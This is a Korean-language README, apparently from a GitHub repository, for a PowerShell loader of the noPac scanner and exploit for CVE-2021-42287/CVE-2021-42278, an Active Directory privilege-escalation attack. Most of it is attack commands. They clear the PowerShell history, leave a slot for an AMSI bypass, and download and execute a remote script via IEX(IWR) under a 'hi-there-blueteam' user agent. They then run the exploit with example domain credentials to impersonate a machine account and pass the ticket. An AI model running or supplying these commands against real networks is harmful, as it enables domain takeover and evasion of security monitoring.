ricardojba/invoke-nopac.Net 어셈블리 로더 - [CVE-2021-42287 - CVE-2021-42278] 스캐너 & 익스플로잇 noPac 용
PowerSharpPack 스타일의 .Net Assembly 로더로, [CVE-2021-42287 - CVE-2021-42278] 스캐너 및 익스플로잇 noPac을 위한 것입니다.
사용법:
Set-PSReadlineOption -HistorySaveStyle SaveNothing
<Insert-Your-AMSI-Bypass-From-AMSI.FAIL-Here>
[Net.ServicePointManager]:https://raw.githubusercontent.com/ricardojba/invoke-nopac/main/:SecurityProtocol=%5BNet.SecurityProtocolType%5D::Tls12
# [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[system.net.webrequest]::defaultwebproxy = new-object system.net.webproxy('http://proxy:8080')
[system.net.webrequest]::defaultwebproxy.BypassProxyOnLocal = $true
[system.net.webrequest]::defaultwebproxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
# [system.net.webrequest]::defaultwebproxy.credentials = Get-Credential
IEX(IWR -UseBasicParsing -UserAgent "hi-there-blueteam" 'https://raw.githubusercontent.com/ricardojba/Invoke-noPac/main/Invoke-noPac.ps1')
Invoke-noPac
Invoke-noPac -Command "scan -domain full.domain -user domain_user -pass Password123!"
Invoke-noPac -Command "scan -domain full.domain -user domain_user -pass Password123! /enctype rc4"
Invoke-noPac -Command "-domain full.domain -user domain_user -pass Password123! /enctype rc4 /dc dc.full.domain /mAccount testmachine /mPassword testmachinepass /service cifs /ptt"